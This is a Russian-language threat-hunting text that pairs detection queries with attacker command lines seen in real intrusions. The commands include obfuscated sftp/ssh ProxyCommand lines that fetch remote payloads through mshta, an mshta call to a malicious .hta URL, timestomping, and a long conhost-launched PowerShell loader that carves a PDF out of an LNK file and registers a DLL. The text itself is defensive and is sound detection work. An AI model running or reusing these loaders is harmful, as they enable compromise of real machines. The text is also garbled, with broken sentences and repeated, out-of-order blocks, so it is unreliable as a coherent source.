event_type: "processcreatewin"
AND
proc_file_sig: "TELE LINK SOFT (TLS) CY LTD"
event_type: "dnsreqwin"
AND
dns_rname: "my.kickidler.com"
event_type: "filecreatewin"
AND
file_path: "TeleLinkSoftHelper"
sftp.exe для выполнения обфусцированной команды:ProxyCommand для проксирования выполнения команды. И, конечно, мы можем использовать это как маркер для охоты:event_type: "processcreatewin"
AND
proc_file_name: "sftp.exe"
AND
cmdline: "proxycommand"
event_type: "processcreate"
AND
cmdline: "fwd" AND ("22" OR "3389")
mshta.exe. Очень часто они применяют его для запуска размещённого удалённо вредоносного .hta-файла..hta-файлы, запускаемые с удалённых хостов, являются вредоносными. Тем не менее, у вас не должно быть слишком большого количества срабатываний.http" и "https":event_type: "processcreatewin"
AND
proc_file_name: "mshta.exe"
AND
cmdline: ("http" OR "https")
JSLNTOOL.EXE через explorer.exe. JSLNTOOL.EXE — это легитимное приложение, которое злоумышленник использует для сайдлоадинга JSFC.dll — вредоносного загрузчика.explorer.exe через wmiprvse.exe с помощью следующего запроса:event_type: "processcreatewin"
AND
proc_file_path: "explorer.exe"
AND
proc_p_file_path: "wmiprvse.exe"
JSLNTOOL.EXE, можно также искать связанные события запуска, обращая внимание на нетипичные расположения:event_type: "processcreatewin"
AND
proc_file_originalfilename: "jslntool.exe"
AND NOT
proc_file_path: "justsystems"
OM.vbs и OMServerService.vbs в папку автозагрузки Output Messenger и файл OMServerService.exe в каталог C:\Users\public\videos на сервере..vbs-файлами, запускаемыми из папки автозагрузки:event_type: "processcreatewin"
AND
cmdline: ("startup" AND "vbs")
C:\Users\public\videos:event_type: "processcreatewin"
AND
proc_file_path: "users\\public\\videos"
put[.]io, transfer[.]sh, wasabi[.]com, gofile[.]io.event_type: dnsreq*
AND
dns_rname: ("put.io" OR "transfer.sh" OR "wasabi.com" OR "gofile.io")
msiexec.exe, связанный с обновлением версии SentinelOne.msiexec.exe, например, с помощью taskkill:event_type: "processcreatewin"
AND
proc_file_name: "taskkill"
AND
cmdline: "msiexec"
Get-Item:event_type: "ScriptExecutionWin"
AND
script_text: "get-item" AND ("lastaccesstime" OR "lastwritetime" OR "creationtime")
msxsl.exe, легитимный бинарный файл, известный как Microsoft Command Line Transformation Utility, используется для запуска бэкдора:event_type: "processcreatewin"
AND
proc_file_name: "msxsl.exe"
AND
cmdline: "txt"
event_type: "processcreatewin"
AND
proc_file_name: "QuickAssist.exe"
event_type: "ScriptExecutionWin"
AND
script_text: ("get-childitem" AND "environment" AND "getfolderpath" AND "recent")
ssh.exe для проксирования выполнения PowerShell:event_type: "processcreatewin"
AND
proc_file_name: "ssh.exe"
AND
cmdline: "proxycommand"
regsvr32.exe для выполнения вредоносного OCX-файла:Temp:event_type: "processcreatewin"
AND
proc_file_name: "regsvr32.exe"
AND
cmdline: "temp" AND "ocx"
ifconfig[.]me для сбора информации о IP-адресе скомпрометированной системы, мы также можем использовать это для проактивного поиска:event_type: "dnsreq"
AND
dns_rname: "ifconfig.me"
.library-ms, которые распространяются через фишинговые письма. Файлы с таким расширением встречаются довольно редко, поэтому мы можем отследить их появление по событиям создания файлов:event_type: "filecreate"
AND
file_path: "library-ms"
C:\Windows\System32\OpenSSH\sftp.exe -o ProxyCommand="powershell powershell -Command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]pxuh]]]]]aq.sh]]]]]]]op/W7]]]7Z9]]]].mp4]]' -replace ']')"C:\Windows\system32\mshta.exe" https://mytaxclientcopy[.]com/xlab22.hta(Get-Item “.\vcruntime140_1.dll”).LastAccessTime=(“12 May 2024 11:14:00”) `msxsl.exe D30F38D93CA9185.txt D30F38D93CA9185.txt$rc = Get-ChildItem ([Environment]::GetFolderPath('Recent'))ssh.exe -o ProxyCommand="powershell powershell ('datashieldsecure.com nikbfgppdkfjsfj msh ta run.mp4 http:'|Convert-String -E '1 2 3 4 5 6=34 6//1/2/5')"regsvr32.exe /s /i C:\Users\[redacted]\AppData\Local\Temp\2549828850.ocxput[.]io, transfer[.]sh, wasabi[.]com, gofile[.]io.event_type: dnsreq*
AND
dns_rname: ("put.io" OR "transfer.sh" OR "wasabi.com" OR "gofile.io")
mshta.exe. Очень часто они применяют его для запуска размещённого удалённо вредоносного .hta-файла."C:\Windows\system32\mshta.exe" https://mytaxclientcopy[.]com/xlab22.hta.hta-файлы, запускаемые с удалённых хостов, являются вредоносными. Тем не менее, у вас не должно быть слишком большого количества срабатываний.http" и "https":event_type: "processcreatewin"
AND
proc_file_name: "mshta.exe"
AND
cmdline: ("http" OR "https")
$rc = Get-ChildItem ([Environment]::GetFolderPath('Recent'))event_type: "ScriptExecutionWin"
AND
script_text: ("get-childitem" AND "environment" AND "getfolderpath" AND "recent")
.vbs-файлов в папке автозагрузки:event_type: "processcreatewin"
AND
cmdline: ("startup" AND "vbs")
wscript.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\antholite.vbs"
showip[.]net для проверки публичного IP-адреса жертвы:event_type: "dnsreqwin"
AND
dns_rname: "showip.net"
truesight.sys. Это можно использовать в поисковом запросе:event_type: "driverloadwin"
AND
file_name: "truesight.sys"
event_type: "serviceinstallwin"
AND
service_name: "TrueSight"
event_type: "processcreatewin"
AND
proc_file_productname: "Truesight"
OM.vbs и OMServerService.vbs в папку автозагрузки Output Messenger и файл OMServerService.exe в каталог C:\Users\public\videos на сервере..vbs-файлами, запускаемыми из папки автозагрузки:event_type: "processcreatewin"
AND
cmdline: ("startup" AND "vbs")
C:\Users\public\videos:event_type: "processcreatewin"
AND
proc_file_path: "users\\public\\videos"
event_type: "processcreatewin"
AND
proc_file_productname: "Advanced Monitoring Agent"
event_type: "filecreatewin"
AND
file_path: "Advanced Monitoring Agent"
sftp.exe для выполнения обфусцированной команды:C:\Windows\System32\OpenSSH\sftp.exe -o ProxyCommand="powershell powershell -Command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]pxuh]]]]]aq.sh]]]]]]]op/W7]]]7Z9]]]].mp4]]' -replace ']')ProxyCommand для проксирования выполнения команды. И, конечно, мы можем использовать это как маркер для охоты:event_type: "processcreatewin"
AND
proc_file_name: "sftp.exe"
AND
cmdline: "proxycommand"
event_type: "processcreatewin"
AND
proc_file_name: "QuickAssist.exe"
event_type: "processcreatewin"
AND
proc_file_sig: "TELE LINK SOFT (TLS) CY LTD"
event_type: "dnsreqwin"
AND
dns_rname: "my.kickidler.com"
event_type: "filecreatewin"
AND
file_path: "TeleLinkSoftHelper"
conhost --headless cmd /c FOR /F "delims=s\ tokens=4" %f IN ('set^|findstr PSM')DO %f -w 1 $zf='osf.zip';$pd='Arda.pdf';$pdl='Arda.lnk';$E=$ENV:Temp;$F=$env:LocalAppData+'\PDFs';if(-not(Test-Path $pdl)){cd $E;$pdl=(dir -recurse *$pdl)[0].fullname;$pd=$E+'\'+[System.IO.Path]::GetFileNameWithoutExtension($pdl)+'.pdf'}$b=[IO.File]::ReadAllBytes($pdl);function f($ar,$su){foreach($i in 0..($ar.Length-$su.Length)){$fo=$true;foreach($j in 0..($su.Length-1)){if($ar[$i+$j] -ne $su[$j]){$fo=$false;break;}}if($fo){return $i;}}return -1;}$i=f $b ([byte[]][char[]]'%PDF');$nb=$b[$i..$b.Length];$s=[System.IO.FileStream]::new($pd,[System.IO.FileMode]::Create);$s.Write($nb,0,($nb.length));$s.close();start $pd;Remove-Item $pdl;mkdir $F -f;copy $pd $F\$zf;Expand-Archive $F\$zf $F\ -f;cd $F;Start-Sleep -Seconds 3;rm $zf;odbcconf /a `{regsvr Wow`} ;conhost.exe с параметром --headless для запуска скрипта — это хороший кандидат для охоты, хотя потребуется некоторая фильтрация, чтобы исключить легитимную активность:event_type: "processcreatewin"
AND
proc_file_name: "conhost.exe"
AND
cmdline: "headless"
odbcconf.exe для запуска regsvr32.exe с целью регистрации вредоносной DLL:event_type: "processcreatewin"
AND
proc_file_name: "odbcconf.exe"
AND
cmdline: "regsvr"
event_type: "processcreatewin"
AND
proc_file_productname: "Supremo Remote Control"
event_type: "filecreate"
AND
file_path: "SupremoRemoteDesktop"
msiexec.exe, связанный с обновлением версии SentinelOne.msiexec.exe, например, с помощью taskkill:event_type: "processcreatewin"
AND
proc_file_name: "taskkill"
AND
cmdline: "msiexec"
msxsl.exe, легитимный бинарный файл, известный как Microsoft Command Line Transformation Utility, используется для запуска бэкдора:msxsl.exe D30F38D93CA9185.txt D30F38D93CA9185.txtevent_type: "processcreatewin"
AND
proc_file_name: "msxsl.exe"
AND
cmdline: "txt"
(Get-Item “.\vcruntime140_1.dll”).LastAccessTime=(“12 May 2024 11:14:00”) `Get-Item:event_type: "ScriptExecutionWin"
AND
script_text: "get-item" AND ("lastaccesstime" OR "lastwritetime" OR "creationtime")